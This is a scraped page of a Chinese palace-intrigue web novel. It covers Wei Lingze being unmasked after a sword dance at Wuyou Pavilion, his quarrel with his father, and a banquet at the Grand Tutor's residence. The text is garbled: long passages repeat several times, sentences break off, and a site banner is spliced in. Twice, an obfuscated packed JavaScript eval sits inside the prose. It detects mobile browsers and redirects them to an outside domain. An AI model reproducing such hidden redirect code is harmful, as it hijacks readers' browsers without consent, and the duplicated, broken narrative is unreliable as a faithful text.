“卫凌泽?本公主的眼睛没出问题吧,卫凌泽竟然跑到无忧阁来卖艺了,卫家列祖列宗的棺材板儿还压得住吗?” 春喜:“……” 萧清禾:“……” ? 春喜和萧清禾虽然认出了卫凌泽,但因为这件事太过匪夷所思,一时都有些不敢相信。 花丛之中,卫凌泽已利落地舞起剑来。 之前冬猎他虽输得一塌糊涂,但一身气势远比无忧阁的小倌强多了,没有比试的压力,这剑也被他舞得得心应手,花木枝叶在他身周翻飞旋转,瞧着好看极了。 “我就说嘛,其他人比他差远了。” 恒阳公主啧了一声,不等卫凌泽表演结束,就摇铃出价。 萧清禾下意识地阻止:“公主殿下,不可!” 虽说她和卫凌泽已经和离,但在这种场合相见,不仅尴尬,还会生出事端来。 恒阳公主并未认出卫凌泽,听到萧清禾阻止,疑惑地问:“怎么了,你跟阁主吵架了?他之前不是对你很好吗?你嫌弃他出身低?” “我没有嫌弃……” 萧清禾否认,不知该怎么解释,春喜帮着开口:“公主认错了,这人不是阁主,公主若是不信,把岚舒公子叫来一问便知。” 恒阳公主不以为意:“何必叫岚舒,本公主直接出钱把他叫过来问话就好了。” 这时卫凌泽正好舞剑结束,最后收势时,他手腕一翻,剑尖稳稳挑了一朵含苞待放的月季。 结束的姿势相当好看,一时间有好几个客人争相出价,恒阳公主也不敢落后,直接加价到五千两,春喜和萧清禾皆是眼皮一跳,正犹豫要不要告诉恒阳公主真相,摇铃声传来,有人出价一万两。 “嘿,竟然有人比本公主还财大气粗。” 恒阳公主倔脾气上来,还要继续加价,春喜连忙拦住她:“公主,不过是个小倌,为他花一万两不值得,而且他还戴着面具,说不定长得很丑呢。” “可他舞剑好看,如果脸真的长得很丑,一会儿再让他把面具戴上就好了。” 恒阳公主不以为意,春喜还想再劝,花丛之中,卫凌泽转身离开。 他并不是要接客,不过是想证明自己魅力仍在,多的是女人为他痴狂,禾儿也终究会回到他身边。 然而他刚走了两步,便有七八个护卫上前,将他团团围住:“我家主子看上你了,还出了一万两拍下你,按照规矩,你得去见我们主子。” 岚舒及时出现:“诸位,这位是我们阁主,他刚刚只是来了兴致,给大家助助兴,阁主是不待客的。” “上次你们也是这么搪塞我们主子的,我们主子说了,他既然要出来献艺,那就得守无忧阁的规矩!” 话音落下,几人直接拔剑,大有卫凌泽不跟他们走,他们就要强行把他带走的架势。 “诸位别急,今日之事都是小人不好,不如这样,小人随诸位去赔罪……” 岚舒试图从中调和,卫凌泽却已经不耐烦,他直接推开岚舒,提剑和这几个人打了起来。 和舞剑时的唯美不同,卫凌泽心中戾气翻涌,出手都是杀招,不过片刻,便有一人死在他的剑下。 那几名护卫没想到无忧阁的人竟敢出手**,也都不再留有余力,在几人的**之下,卫凌泽的面具很快被打落。 在他的真容露出来的那一刻,春喜听到了不同方位传来的好几声惊呼,被她拦住没能继续出价的恒阳公主更是瞪大了眼睛。 “卫凌泽?本公主的眼睛没出问题吧,卫凌泽竟然跑到无忧阁来卖艺了,卫家列祖列宗的棺材板儿还压得住吗?” 春喜:“……” 萧清禾:“……” ? 春喜和萧清禾虽然认出了卫凌泽,但因为这件事太过匪夷所思,一时都有些不敢相信。 花丛之中,卫凌泽已利落地舞起剑来。 之前冬猎他虽输得一塌糊涂,但一身气势远比无忧阁的小倌强多了,没有比试的压力,这剑也被他舞得得心应手,花木枝叶在他身周翻飞旋转,瞧着好看极了。 “我就说嘛,其他人比他差远了。” 恒阳公主啧了一声,不等卫凌泽表演结束,就摇铃出价。 萧清禾下意识地阻止:“公主殿下,不可!” 虽说她和卫凌泽已经和离,但在这种场合相见,不仅尴尬,还会生出事端来。 恒阳公主并未认出卫凌泽,听到萧清禾阻止,疑惑地问:“怎么了,你跟阁主吵架了?他之前不是对你很好吗?你嫌弃他出身低?” “我没有嫌弃……” 萧清禾否认,不知该怎么解释,春喜帮着开口:“公主认错了,这人不是阁主,公主若是不信,把岚舒公子叫来一问便知。” 恒阳公主不以为意:“何必叫岚舒,本公主直接出钱把他叫过来问话就好了。” 这时卫凌泽正好舞剑结束,最后收势时,他手腕一翻,剑尖稳稳挑了一朵含苞待放的月季。 结束的姿势相当好看,一时间有好几个客人争相出价,恒阳公主也不敢落后,直接加价到五千两,春喜和萧清禾皆是眼皮一跳,正犹豫要不要告诉恒阳公主真相,摇铃声传来,有人出价一万两。 “嘿,竟然有人比本公主还财大气粗。” 恒阳公主倔脾气上来,还要继续加价,春喜连忙拦住她:“公主,不过是个小倌,为他花一万两不值得,而且他还戴着面具,说不定长得很丑呢。” “可他舞剑好看,如果脸真的长得很丑,一会儿再让他把面具戴上就好了。” 恒阳公主不以为意,春喜还想再劝,花丛之中,卫凌泽转身离开。 他并不是要接客,不过是想证明自己魅力仍在,多的是女人为他痴狂,禾儿也终究会回到他身边。 然而他刚走了两步,便有七八个护卫上前,将他团团围住:“我家主子看上你了,还出了一万两拍下你,按照规矩,你得去见我们主子。” 岚舒及时出现:“诸位,这位是我们阁主,他刚刚只是来了兴致,给大家助助兴,阁主是不待客的。” “上次你们也是这么搪塞我们主子的,我们主子说了,他既然要出来献艺,那就得守无忧阁的规矩!” 话音落下,几人直接拔剑,大有卫凌泽不跟他们走,他们就要强行把他带走的架势。 “诸位别急,今日之事都是小人不好,不如这样,小人随诸位去赔罪……” 岚舒试图从中调和,卫凌泽却已经不耐烦,他直接推开岚舒,提剑和这几个人打了起来。 和舞剑时的唯美不同,卫凌泽心中戾气翻涌,出手都是杀招,不过片刻,便有一人死在他的剑下。 那几名护卫没想到无忧阁的人竟敢出手**,也都不再留有余力,在几人的**之下,卫凌泽的面具很快被打落。 在他的真容露出来的那一刻,春喜听到了不同方位传来的好几声惊呼,被她拦住没能继续出价的恒阳公主更是瞪大了眼睛。 “卫凌泽?本公主的眼睛没出问题吧,卫凌泽竟然跑到无忧阁来卖艺了,卫家列祖列宗的棺材板儿还压得住吗?” 春喜:“……” 萧清禾:“……” ? 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春喜和萧清禾虽然认出了卫凌泽,但因为这件事太过匪夷所思,一时都有些不敢相信。 花丛之中,卫凌泽已利落地舞起剑来。 之前冬猎他虽输得一塌糊涂,但一身气势远比无忧阁的小倌强多了,没有比试的压力, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132988|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这剑也被他舞得得心应手,花木枝叶在他身周翻飞旋转,瞧着好看极了。 “我就说嘛,其他人比他差远了。” 恒阳公主啧了一声,不等卫凌泽表演结束,就摇铃出价。 萧清禾下意识地阻止:“公主殿下,不可!” 虽说她和卫凌泽已经和离,但在这种场合相见,不仅尴尬,还会生出事端来。 恒阳公主并未认出卫凌泽,听到萧清禾阻止,疑惑地问:“怎么了,你跟阁主吵架了?他之前不是对你很好吗?你嫌弃他出身低?” “我没有嫌弃……” 萧清禾否认,不知该怎么解释,春喜帮着开口:“公主认错了,这人不是阁主,公主若是不信,把岚舒公子叫来一问便知。” 恒阳公主不以为意:“何必叫岚舒,本公主直接出钱把他叫过来问话就好了。” 这时卫凌泽正好舞剑结束,最后收势时,他手腕一翻,剑尖稳稳挑了一朵含苞待放的月季。 结束的姿势相当好看,一时间有好几个客人争相出价,恒阳公主也不敢落后,直接加价到五千两,春喜和萧清禾皆是眼皮一跳,正犹豫要不要告诉恒阳公主真相,摇铃声传来,有人出价一万两。 “嘿,竟然有人比本公主还财大气粗。” 恒阳公主倔脾气上来,还要继续加价,春喜连忙拦住她:“公主,不过是个小倌,为他花一万两不值得,而且他还戴着面具,说不定长得很丑呢。” “可他舞剑好看,如果脸真的长得很丑,一会儿再让他把面具戴上就好了。” 恒阳公主不以为意,春喜还想再劝,花丛之中,卫凌泽转身离开。 他并不是要接客,不过是想证明自己魅力仍在,多的是女人为他痴狂,禾儿也终究会回到他身边。 然而他刚走了两步,便有七八个护卫上前,将他团团围住:“我家主子看上你了,还出了一万两拍下你,按照规矩,你得去见我们主子。” 岚舒及时出现:“诸位,这位是我们阁主,他刚刚只是来了兴致,给大家助助兴,阁主是不待客的。” “上次你们也是这么搪塞我们主子的,我们主子说了,他既然要出来献艺,那就得守无忧阁的规矩!” 话音落下,几人直接拔剑,大有卫凌泽不跟他们走,他们就要强行把他带走的架势。 “诸位别急,今日之事都是小人不好,不如这样,小人随诸位去赔罪……” 岚舒试图从中调和,卫凌泽却已经不耐烦,他直接推开岚舒,提剑和这几个人打了起来。 和舞剑时的唯美不同,卫凌泽心中戾气翻涌,出手都是杀招,不过片刻,便有一人死在他的剑下。 那几名护卫没想到无忧阁的人竟敢出手**,也都不再留有余力,在几人的**之下,卫凌泽的面具很快被打落。 在他的真容露出来的那一刻,春喜听到了不同方位传来的好几声惊呼,被她拦住没能继续出价的恒阳公主更是瞪大了眼睛。 “卫凌泽?本公主的眼睛没出问题吧,卫凌泽竟然跑到无忧阁来卖艺了,卫家列祖列宗的棺材板儿还压得住吗?” 春喜:“……” 萧清禾:“……” ? 春喜和萧清禾虽然认出了卫凌泽,但因为这件事太过匪夷所思,一时都有些不敢相信。 花丛之中,卫凌泽已利落地舞起剑来。 之前冬猎他虽输得一塌糊涂,但一身气势远比无忧阁的小倌强多了,没有比试的压力,这剑也被他舞得得心应手,花木枝叶在他身周翻飞旋转,瞧着好看极了。 “我就说嘛,其他人比他差远了。” 恒阳公主啧了一声,不等卫凌泽表演结束,就摇铃出价。 萧清禾下意识地阻止:“公主殿下,不可!” 虽说她和卫凌泽已经和离,但在这种场合相见,不仅尴尬,还会生出事端来。 恒阳公主并未认出卫凌泽,听到萧清禾阻止,疑惑地问:“怎么了,你跟阁主吵架了?他之前不是对你很好吗?你嫌弃他出身低?” “我没有嫌弃……” 萧清禾否认,不知该怎么解释,春喜帮着开口:“公主认错了,这人不是阁主,公主若是不信,把岚舒公子叫来一问便知。” 恒阳公主不以为意:“何必叫岚舒,本公主直接出钱把他叫过来问话就好了。” 这时卫凌泽正好舞剑结束,最后收势时,他手腕一翻,剑尖稳稳挑了一朵含苞待放的月季。 结束的姿势相当好看,一时间有好几个客人争相出价,恒阳公主也不敢落后,直接加价到五千两,春喜和萧清禾皆是眼皮一跳,正犹豫要不要告诉恒阳公主真相,摇铃声传来,有人出价一万两。 “嘿,竟然有人比本公主还财大气粗。” 恒阳公主倔脾气上来,还要继续加价,春喜连忙拦住她:“公主,不过是个小倌,为他花一万两不值得,而且他还戴着面具,说不定长得很丑呢。” “可他舞剑好看,如果脸真的长得很丑,一会儿再让他把面具戴上就好了。” 恒阳公主不以为意,春喜还想再劝,花丛之中,卫凌泽转身离开。 他并不是要接客,不过是想证明自己魅力仍在,多的是女人为他痴狂,禾儿也终究会回到他身边。 然而他刚走了两步,便有七八个护卫上前,将他团团围住:“我家主子看上你了,还出了一万两拍下你,按照规矩,你得去见我们主子。” 岚舒及时出现:“诸位,这位是我们阁主,他刚刚只是来了兴致,给大家助助兴,阁主是不待客的。” “上次你们也是这么搪塞我们主子的,我们主子说了,他既然要出来献艺,那就得守无忧阁的规矩!” 话音落下,几人直接拔剑,大有卫凌泽不跟他们走,他们就要强行把他带走的架势。 “诸位别急,今日之事都是小人不好,不如这样,小人随诸位去赔罪……” 岚舒试图从中调和,卫凌泽却已经不耐烦,他直接推开岚舒,提剑和这几个人打了起来。 和舞剑时的唯美不同,卫凌泽心中戾气翻涌,出手都是杀招,不过片刻,便有一人死在他的剑下。 那几名护卫没想到无忧阁的人竟敢出手**,也都不再留有余力,在几人的**之下,卫凌泽的面具很快被打落。 在他的真容露出来的那一刻,春喜听到了不同方位传来的好几声惊呼,被她拦住没能继续出价的恒阳公主更是瞪大了眼睛。 “卫凌泽?本公主的眼睛没出问题吧,卫凌泽竟然跑到无忧阁来卖艺了,卫家列祖列宗的棺材板儿还压得住吗?” 春喜:“……” 萧清禾:“……” ? 春喜和萧清禾虽然认出了卫凌泽,但因为这件事太过匪夷所思,一时都有些不敢相信。 花丛之中,卫凌泽已利落地舞起剑来。 之前冬猎他虽输得一塌糊涂,但一身气势远比无忧阁的小倌强多了,没有比试的压力,这剑也被他舞得得心应手,花木枝叶在他身周翻飞旋转,瞧着好看极了。 “我就说嘛,其他人比他差远了。” 恒阳公主啧了一声,不等卫凌泽表演结束,就摇铃出价。 萧清禾下意识地阻止:“公主殿下,不可!” 虽说她和卫凌泽已经和离,但在这种场合相见,不仅尴尬,还会生出事端来。 恒阳公主并未认出卫凌泽,听到萧清禾阻止,疑惑地问:“怎么了,你跟阁主吵架了?他之前不是对你很好吗?你嫌弃他出身低?” “我没有嫌弃……” 萧清禾否认,不知该怎么解释,春喜帮着开口:“公主认错了,这人不是阁主,公主若是不信,把岚舒公子叫来一问便知。” 恒阳公主不以为意:“何必叫岚舒,本公主直接出钱把他叫过来问话就好了。” 这时卫凌泽正好舞剑结束,最后收势时,他手腕一翻,剑尖稳稳挑了一朵含苞待放的月季。 结束的姿势相当好看,一时间有好几个客人争相出价,恒阳公主也不敢落后,直接加价到五千两,春喜和萧清禾皆是眼皮一跳,正犹豫要不要告诉恒阳公主真相,摇铃声传来,有人出价一万两。 “嘿,竟然有人比本公主还财大气粗。” 恒阳公主倔脾气上来,还要继续加价,春喜连忙拦住她:“公主,不过是个小倌,为他花一万两不值得,而且他还戴着面具,说不定长得很丑呢。” “可他舞剑好看,如果脸真的长得很丑,一会儿再让他把面具戴上就好了。” 恒阳公主不以为意,春喜还想再劝,花丛之中,卫凌泽转身离开。 他并不是要接客,不过是想证明自己魅力仍在,多的是女人为他痴狂,禾儿也终究会回到他身边。 然而他刚走了两步,便有七八个护卫上前,将他团团围住:“我家主子看上你了,还出了一万两拍下你,按照规矩,你得去见我们主子。” 岚舒及时出现:“诸位,这位是我们阁主,他刚刚只是来了兴致,给大家助助兴,阁主是不待客的。” “上次你们也是这么搪塞我们主子的,我们主子说了,他既然要出来献艺,那就得守无忧阁的规矩!” 话音落下,几人直接拔剑,大有卫凌泽不跟他们走,他们就要强行把他带走的架势。 “诸位别急,今日之事都是小人不好,不如这样,小人随诸位去赔罪……” 岚舒试图从中调和,卫凌泽却已经不耐烦,他直接推开岚舒,提剑和这几个人打了起来。 和舞剑时的唯美不同,卫凌泽心中戾气翻涌,出手都是杀招,不过片刻,便有一人死在他的剑下。 那几名护卫没想到无忧阁的人竟敢出手**,也都不再留有余力,在几人的**之下,卫凌泽的面具很快被打落。 在他的真容露出来的那一刻,春喜听到了不同方位传来的好几声惊呼,被她拦住没能继续出价的恒阳公主更是瞪大了眼睛。 “卫凌泽?本公主的眼睛没出问题吧,卫凌泽竟然跑到无忧阁来卖艺了,卫家列祖列宗的棺材板儿还压得住吗?” 春喜:“……” 萧清禾:“……” 第285章 丢人现眼的东西 面具被打落之后卫凌泽的脑子像是被劈了一刀整个人都清醒过来。 虽然他面前只站了几个护卫但暗处不知有多少双眼睛正盯着他。 他刚刚像无忧阁的小倌一样舞剑摘花还让人出价竞拍这简直太荒唐了。 卫凌泽握紧手里的剑很想大开杀戒把今天到场的人全都灭口然而不等他有动作无忧阁的护卫就现身阻止了这场闹剧岚舒也来到他身边低声劝:“卫公子不可冲动啊今日到场的可都是有头有脸的贵人她们若是出事瀚京都会被掀翻的。” 卫凌泽抿唇不语岚舒又道:“她们都是秘密来的无忧阁也不想让人知道身份今日之事不会有人说出去的。” 这句话戳中了卫凌泽略加思忖他丢开手里的剑迅速离开。 其他人都被卫凌泽是无忧阁阁主这件事震惊到无心观看表演一心只想八卦。 恒阳公主则叉腰不满地看着春喜和萧清禾:“你们两个是不是早就认出卫凌泽了为什么故意瞒着不跟本公主说?” 春喜立刻给她顺**:“臣妇只是觉得身形瞧着有点儿像但他戴着面具看不清脸臣妇不能确定而且他那种身份谁能想到他会出现在这里呢?” 这话倒也不假。 恒阳公主果然不生气了只道:“这事确实很出乎意料卫凌泽不会是因为和离之事被打击疯了吧?” 卫凌泽和恒阳公主有着同样的怀疑离开无忧阁后他没有回卫家而是去了回春堂找大夫查验岚舒给的那一盒香。 “这香味道奇特所用香料也很特别我在回春堂行医过年 卖这么贵的东西他上哪儿去找配方? 卫凌泽不耐烦道:“没有配方我就想知道这香有没有问题。” 大夫又仔细闻了闻半晌后道:“此香目前看着是没有毒的公子使用后感觉身体有什么不适吗?” 卫凌泽没有不适甚至这几次去找岚舒闻着这香他都能睡个好觉醒来后浑身都有种说不出的舒爽。 所以他才想买一点回家用。 可今日他为什么会生出跟无忧阁的小倌比较的荒唐念头呢? 当时岚舒已经极力劝阻了可他像是着了魔一样一句话也听不进去一心只想要出风头那时的他不觉得被人当作物品竞拍是羞辱反而觉得自己能够获得最高出价的话就能证明自身的魅力甚至能证明禾儿与他和离是 你的朋友正在书荒,快去帮帮他吧 错误的决定。 简直不可理喻! 卫凌泽没再回答大夫的话,拿回那盒香回了卫家。 虽然岚舒说那些客人都要脸,不会把这件事宣扬出去,但人多嘴杂,还是免不了有风声传出。 卫凌泽竟然是无忧阁阁主,难怪无忧阁不过短短几年就发展得这么红火。 这卫家好歹也是名门世家,怎么私底下竟做起了皮肉生意,卫家这是缺钱了吗? 而且卫凌泽还亲自下场表演,难道是知道复职无望,所以想通过无忧阁多捞些钱?无忧阁那么多小倌是从哪儿来的,卫家不会私底下还逼良为娼吧? 消息传到卫父耳中,卫父第一时间来到凌枫院质问卫凌泽:“逆子,我不是让你在家好好待着吗,你为什么非要跑出去惹事?” 卫父面色铁青,再无之前提起卫凌泽的骄傲,满满的都是失望和愤怒。 卫凌泽被卫父的眼神刺痛,冷着脸反驳:“我现在被停职了,连出门透透气都不可以吗,爹是不是觉得我还活着就是在给卫家丢人现眼?” 卫凌泽话里很明显带着怨怪,卫父越发生气,说出来的话也不再给卫凌泽留情面:“你也知道自己丢人现眼,这些年我和你外祖父是如何教导你的,你还记得卫家的祖训是什么吗?你想想自己这段时间做的那些事,有哪一件是光彩的?” “爹需要的只是一个给家族带来荣耀的工具,而不是一个活生生的儿子,我如今已经是个丢人现眼的废物,爹以后大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140160|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可把家主之位传给二弟三弟,若是二弟三弟也难当大任,爹再找人生一个儿子重新培养也行。” “混账东西!” 眼看卫凌泽越说越离谱,卫父气得又打了他一巴掌。 最近这段时间挨了太多次打,这一巴掌并没有在卫凌泽心里激起半点儿波澜。 他用舌头顶了顶被打得发麻的脸颊,低低地笑出声:“我的确混账,爹要是觉得不够解气,还可以请了家法继续打,儿子没用,不能为家族争光,但给爹当出气筒还是绰绰有余的。” “……” 卫父被卫凌泽气得胸口生疼,眼前一阵阵发黑,好在这时云氏赶来,将他扶出凌枫院,又是喂水又是帮他拍背顺气,卫父才慢慢缓过来。 好不容易顺了气,卫父生气道:“这个逆子毫无反省之心,反倒越发自暴自弃,他真当卫家家主非他不可吗?” 云氏听得眼皮直跳。 卫凌泽如今复职无望,又丢了和萧家的姻亲,几位叔伯和族老都对他颇有微词,觉得他如今的品性配不上卫家家主之位,若连卫父都起了这样的心思,那他就真的什么都没有了。 这般想着,云氏急急开口:“老爷别动怒,泽儿是最近受到的打击责备太多,所以才会口不择言,他心里是很敬重崇拜老爷的。” 卫父还在气头上,云氏的话并没有让他的脸色有任何好转。 云氏继续道:“妹夫被任命为市舶使了,下个月朝廷就要运第一批粮食给越西,妹夫说可以让泽儿跟着一起去运粮,这样既能让泽儿有事可做,又能让他出去历练,看看大好河山,万一路上遇到什么情况,泽儿立了功,说不定还能复职呢。” 云晚棠跟云氏说这件事的时候,云氏还有些心疼,如今见卫父动怒,倒是下定了决心。 泽儿再这么待下去就废了,出去历练一下也是好的。 卫父被云氏的提议打动,与此同时,春喜也收到了太傅府送来的请柬。 第286章 赴宴 李怀景在翁州驻守近十年,如今被任命为市舶使可以留在瀚京,这次太傅府的宴席办得很是盛大。 但太傅府的下人训练有素,宾客虽多,门口却并未造成拥堵,写礼之后,便有下人分别带领他们去往男女宾客所在的地方。 春喜如今有四个多月的身孕了,肚子虽然还没有明显鼓起来,但沈清渊不放心她一个人,特意让她把李嬷嬷和章嬷嬷带在身边。 这两位嬷嬷便是之前恒阳公主进宫,从贤妃宫里薅来照顾春喜的。 她们对宫中规矩了如指掌,对世家后宅的暗流涌动更是十分警惕,带着她们,春喜感觉自己像是有了左右两大**,安全极了。 春喜跟着太傅府的下人去到后花园,离花园还有一段距离,云晚棠就笑着迎上来:“阿喜来啦,你现在不宜劳累,快随我去坐下休息。” 说着话,云晚棠热切地抓住春喜的手,好似两人之间从未发生不快,反而关系极好。 花园里,云晚棠特意把视野最好的凉亭留给春喜,还命人在凉亭长椅上放了软垫和护腰,春喜刚落座,便又听到云晚棠说:“你如今怀了身孕,不宜饮茶,我特意让厨房熬了极品血燕。” 极品血燕很贵,春喜只在恒阳公主暂住的时候沾光吃了两盅,云晚棠却直接用来待客,哪怕之前有过几次不愉快,春喜也不得不赞叹云晚棠待客真是大方。 没多久,燕窝上来。 春喜刚喝了一口,恒阳公主就出现了。 有大夫人赵氏陪着,云晚棠守在春喜身边没动,等恒阳公主步入凉亭,云晚棠才扶着春喜起身行礼:“臣妇见过公主。” 恒阳公主觉得云晚棠和春喜挽着的胳膊有些碍眼,但这毕竟不是公主府,恒阳公主没有发作,淡声道:“起来吧,不必多礼。” 说完走到春喜身边坐下。 大夫人赵氏客套了几句就又去迎客,云晚棠却没有要离开的意思,又命人盛了一碗燕窝给恒阳公主。 这极品血燕虽然是好东西,但对恒阳公主来说并不是什么稀罕物,她哼了一声对春喜说:“母后和皇嫂前些日子给了我很多好东西,公主府的库房都堆不下了,明日阿喜尽管来公主府挑,喜欢什么就拿什么。” 春喜连忙谢恩,云晚棠笑着道:“公主对沈夫人真好。” 恒阳公主挑了下眉,话里有话:“本公主喜欢直来直去的爽利人,阿喜的脾性很合本公主的胃口,本公主自然愿意对她好。” 云晚棠像是完全没有听出恒阳公主的话外音,顺着恒 阳公主的话说:“是啊,公主豪爽直接,与人结交从无门第之见,实在是京中世家夫人的典范。” “……” 本公主在阴阳你,你怎么还夸上我了? 恒阳公主噎住,一时没了声音。 过了会儿,府中婆子带着玥姐儿来到云晚棠身边。 玥姐儿并不怕生,圆溜溜的大眼睛好奇地打量着恒阳公主和春喜,被云晚棠提醒后,立刻规规矩矩地行礼:“玥儿见过公主殿下、沈夫人。” 玥儿不过五六岁,说话奶声奶气的,她今日穿了一身橙红色绣锦鲤衣裙,梳得一丝不苟的双环髻让她的圆嘟嘟的小脸看起来比年画娃娃还可爱。 饶是恒阳公主再怎么讨厌云晚棠,也忍不住多看了玥儿两眼。 感受到恒阳公主的目光,玥儿大着胆子上前抓住恒阳公主的手,软软糯糯道:“公主你真漂亮,像下凡的仙女。” 恒阳公主:“……” 恒阳公主竭力克制,唇角也还是控制不住上扬,心里更是忍不住尖叫。 啊啊啊!云晚棠怎么能生出这么可爱又会说话的女儿??? 沉默半晌,恒阳公主尽可能平静地回了句:“你也很漂亮。” “谢公主夸奖。” 玥儿并不谦虚,脆生生地收下夸赞,恒阳公主忍了又忍,最终还是没忍住,从头上取下一颗东珠给了玥儿。 “公主,这……这也太贵重了,不太好吧。” 云晚棠站起身,有些受宠若惊,恒阳公主横了她一眼:“又不是给你的,你这么激动做什么?” 恒阳公主对云晚棠说话的语气并不好,面对玥儿时,却是夹着嗓子,尽可能甜美地问:“玥儿,你喜欢这个吗?” 玥儿重重点头:“回公主,玥儿喜欢,玥儿长大了也要像公主一样戴着它。” “喜欢那就拿着吧。” “玥儿谢公主赏赐。” 等玥儿学着大人的模样行礼谢了恩,云晚棠便要带着她去跟其他世家夫人打招呼,玥儿有些不舍:“娘亲,我喜欢公主,想多和公主一起玩可以吗?” 云晚棠露出为难之色,小声道:“公主殿下很忙,而且还怀着孕,没有太多精力陪你玩儿。” 玥儿失望地低下脑袋,不过很快又振作起来,眼睛亮闪闪地看着恒阳公主:“公主,等你的宝宝生下来,玥儿可以陪他一起玩吗?” 面对这样一张可爱的小脸,恒阳公主实在说不出拒绝的话,只能点头:“好啊。” 玥儿伸出小手和恒阳公主拉钩做下约定,然后才乖乖跟着云晚棠一起去跟其他人打招呼。 等母女俩走远,恒阳公主敛了笑,低声问春喜:“云晚棠刚刚可有得意?” 春喜摇头:“臣妇瞧着应该是没有的。” 恒阳公主松了口气,低声哼道:“不过是赏赐了一颗小小的东珠而已,又不是给她的,本公主料想她也得意不起来。” “公主说的是。” 春喜一边附和,一边端起那碗没喝完的血燕,感受到恒阳公主的目光,春喜小声解释:“血燕挺贵的,而且都煮好了,不吃就暴殄天物了。” 春喜吃得很是坦然,恒阳公主心里那点儿不自在很快散了。 是了,不管云晚棠如何,这极品血燕总归是好的,那孩子也是真的活泼可爱的。 阿喜吃碗血燕,她给那孩子赏颗东珠只是小事,并不代表和云晚棠的关系会有什么改变。 玥儿可爱又嘴甜,很快赢得了满座宾客的夸赞。 气氛正热烈,一位上了年纪的贵妇人突然对春喜发难:“沈夫人都怀孕了,还去无忧阁找乐子,就不怕腹中孩子有个什么好歹吗?” 阳公主的话说:“是啊,公主豪爽直接,与人结交从无门第之见,实在是京中世家夫人的典范。” “……” 本公主在阴阳你,你怎么还夸上我了? 恒阳公主噎住,一时没了声音。 过了会儿,府中婆子带着玥姐儿来到云晚棠身边。 玥姐儿并不怕生,圆溜溜的大眼睛好奇地打量着恒阳公主和春喜,被云晚棠提醒后,立刻规规矩矩地行礼:“玥儿见过公主殿下、沈夫人。” 玥儿不过五六岁,说话奶声奶气的,她今日穿了一身橙红色绣锦鲤衣裙,梳得一丝不苟的双环髻让她的圆嘟嘟的小脸看起来比年画娃娃还可爱。 饶是恒阳公主再怎么讨厌云晚棠,也忍不住多看了玥儿两眼。 感受到恒阳公主的目光,玥儿大着胆子上前抓住恒阳公主的手,软软糯糯道:“公主你真漂亮,像下凡的仙女。” 恒阳公主:“……” 恒阳公主竭力克制,唇角也还是控制不住上扬,心里更是忍不住尖叫。 啊啊啊!云晚棠怎么能生出这么可爱又会说话的女儿??? 沉默半晌,恒阳公主尽可能平静地回了句:“你也很漂亮。” “谢公主夸奖。” 玥儿并不谦虚,脆生生地收下夸赞,恒阳公主忍了又忍,最终还是没忍住,从头上取下一颗东珠给了玥儿。 “公主,这……这也太贵重了,不太好吧。” 云晚棠站起身,有些受宠若惊,恒阳公主横了她一眼:“又不是给你的,你这么激动做什么?” 恒阳公主对云晚棠说话的语气并不好,面对玥儿时,却是夹着嗓子,尽可能甜美地问:“玥儿,你喜欢这个吗?” 玥儿重重点头:“回公主,玥儿喜欢,玥儿长大了也要像公主一样戴着它。” “喜欢那就拿着吧。” “玥儿谢公主赏赐。” 等玥儿学着大人的模样行礼谢了恩,云晚棠便要带着她去跟其他世家夫人打招呼,玥儿有些不舍:“娘亲,我喜欢公主,想多和公主一起玩可以吗?” 云晚棠露出为难之色,小声道:“公主殿下很忙,而且还怀着孕,没有太多精力陪你玩儿。” 玥儿失望地低下脑袋,不过很快又振作起来,眼睛亮闪闪地看着恒阳公主:“公主,等你的宝宝生下来,玥儿可以陪他一起玩吗?” 面对这样一张可爱的小脸,恒阳公主实在说不出拒绝的话,只能点头:“好啊。” 玥儿伸出小手和恒阳公主拉钩做下约定,然后才乖乖跟着云晚棠一起去跟其他人打招呼。 等母女俩走远,恒阳公主敛了笑,低声问春喜:“云晚棠刚刚可有得意?” 春喜摇头:“臣妇瞧着应该是没有的。” 恒阳公主松了口气,低声哼道:“不过是赏赐了一颗小小的东珠而已,又不是给她的,本公主料想她也得意不起来。” “公主说的是。” 春喜一边附和,一边端起那碗没喝完的血燕,感受到恒阳公主的目光,春喜小声解释:“血燕挺贵的,而且都煮好了,不吃就暴殄天物了。” 春喜吃得很是坦然,恒阳公主心里那点儿不自在很快散了。 是了,不管云晚棠如何,这极品血燕总归是好的,那孩子也是真的活泼可爱的。 阿喜吃碗血燕,她给那孩子赏颗东珠只是小事,并不代表和云晚棠的关系会有什么改变。 玥儿可爱又嘴甜,很快赢得了满座宾客的夸赞。 气氛正热烈,一位上了年纪的贵妇人突然对春喜发难:“沈夫人都怀孕了,还去无忧阁找乐子,就不怕腹中孩子有个什么好歹吗?” 阳公主的话说:“是啊,公主豪爽直接,与人结交从无门第之见,实在是京中世家夫人的典范。” “……” 本公主在阴阳你,你怎么还夸上我了? 恒阳公主噎住,一时没了声音。 过了会儿,府中婆子带着玥姐儿来到云晚棠身边。 玥姐儿并不怕生,圆溜溜的大眼睛好奇地打量着恒阳公主和春喜,被云晚棠提醒后,立刻规规矩矩地行礼:“玥儿见过公主殿下、沈夫人。” 玥儿不过五六岁,说话奶声奶气的,她今日穿了一身橙红色绣锦鲤衣裙,梳得一丝不苟的双环髻让她的圆嘟嘟的小脸看起来比年画娃娃还可爱。 